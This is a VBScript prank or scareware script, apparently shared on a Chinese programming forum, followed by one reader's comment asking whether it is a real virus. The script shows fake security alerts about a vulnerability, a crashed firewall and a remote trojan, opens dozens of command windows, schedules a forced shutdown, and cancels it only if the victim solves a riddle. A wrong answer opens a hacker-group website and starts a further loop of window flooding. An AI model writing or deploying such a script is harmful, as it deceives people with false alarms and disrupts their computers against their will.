
Set ob = WScript.CreateObject("Wscript.Shell") |
wscript.sleep 10000 |
ob.popup"系统检测到此计算机存在Windows IE HTML高危溢出漏洞",,"系统医生" |
wscript.sleep 100 |
ob.popup"点击确定进行修复",,"修复" |
ob.popup"修复过程中请勿中途退出,否则计算机将自动奔溃!",,"提示" |
wscript.sleep 30000 |
ob.popup"恭喜你,高危漏洞修复成功!",,"修复成功" |
wscript.sleep 60000 |
|
ob.popup"防火墙已奔溃!",,"危险警告!" |
wscript.sleep 10000 |
ob.popup"系统检测到有远程木马登录!",,"危险警告!" |
wscript.sleep 20000 |
ob.run"cmd" |
ob.run"cmd" |
ob.run"cmd" |
ob.run"cmd" |
ob.run"cmd" |
ob.run"cmd" |
ob.run"cmd" |
ob.run"cmd" |
ob.run"cmd" |
ob.run"cmd" |
ob.run"cmd" |
ob.run"cmd" |
wscript.sleep 10000 |
|
ob.popup"接下来会有一个猜谜谜游戏,如果你解开了你的电脑将会恢复正常",,"信息" |
ob.popup"你将会有三分钟时间作答,两分钟过后将会给出相应的后果惩罚!祝你好运^_^",,"信息" |
|
ob.run"shutdown -s -t 200" |
|
do |
d=int(inputbox("闻不入耳,猜一字(1.(门)2.(萌) 3.(盲) 4.(听) 输入数字")) |
if d=1 then |
ob.run"shutdown -a" |
ob.popup"恭喜你回答正确!",,"正确" |
ob.popup"你的电脑已恢复正常!",,"恢复正常" |
exit do |
else |
ob.popup"很遗憾,你答错了,正确答案是:1",,"回答错误" |
wscript.sleep 1000*5 |
ob.popup"网络已断开连接..." |
ob.Run("http://www.cnhonkerarmy.com/") |
do until i=3 |
i = i+1 |
msgbox"系统已奔溃!(建议你不要点击此弹窗超过3次)",,"警告" |
wscript.sleep 50000 |
ob.run"tree" |
ob.run"tree" |
ob.run"tree" |
ob.run"tree" |
ob.run"tree" |
ob.run"cmd" |
ob.run"cmd" |
ob.run"cmd" |
ob.run"cmd" |
ob.run"cmd" |
ob.run"cmd" |
ob.run"cmd" |
ob.run"cmd" |
ob.run"cmd" |
ob.run"cmd" |
ob.run"cmd" |
ob.run"cmd" |
ob.run"cmd" |
ob.run"cmd" |
ob.run"cmd" |
ob.run"cmd" |
ob.run"cmd" |
ob.run"cmd" |
ob.run"cmd" |
ob.run"cmd" |
ob.run"cmd" |
ob.run"cmd" |
ob.run"cmd" |
ob.run"cmd" |
ob.run"cmd" |
ob.run"cmd" |
ob.run"cmd" |
ob.run"cmd" |
ob.run"cmd" |
ob.run"cmd" |
|
loop |
end if |
loop |




初级程序员
by: 天梦 发表于:2021-09-14 10:22:40 顶(2) | 踩(2) 回复
真病毒?
回复评论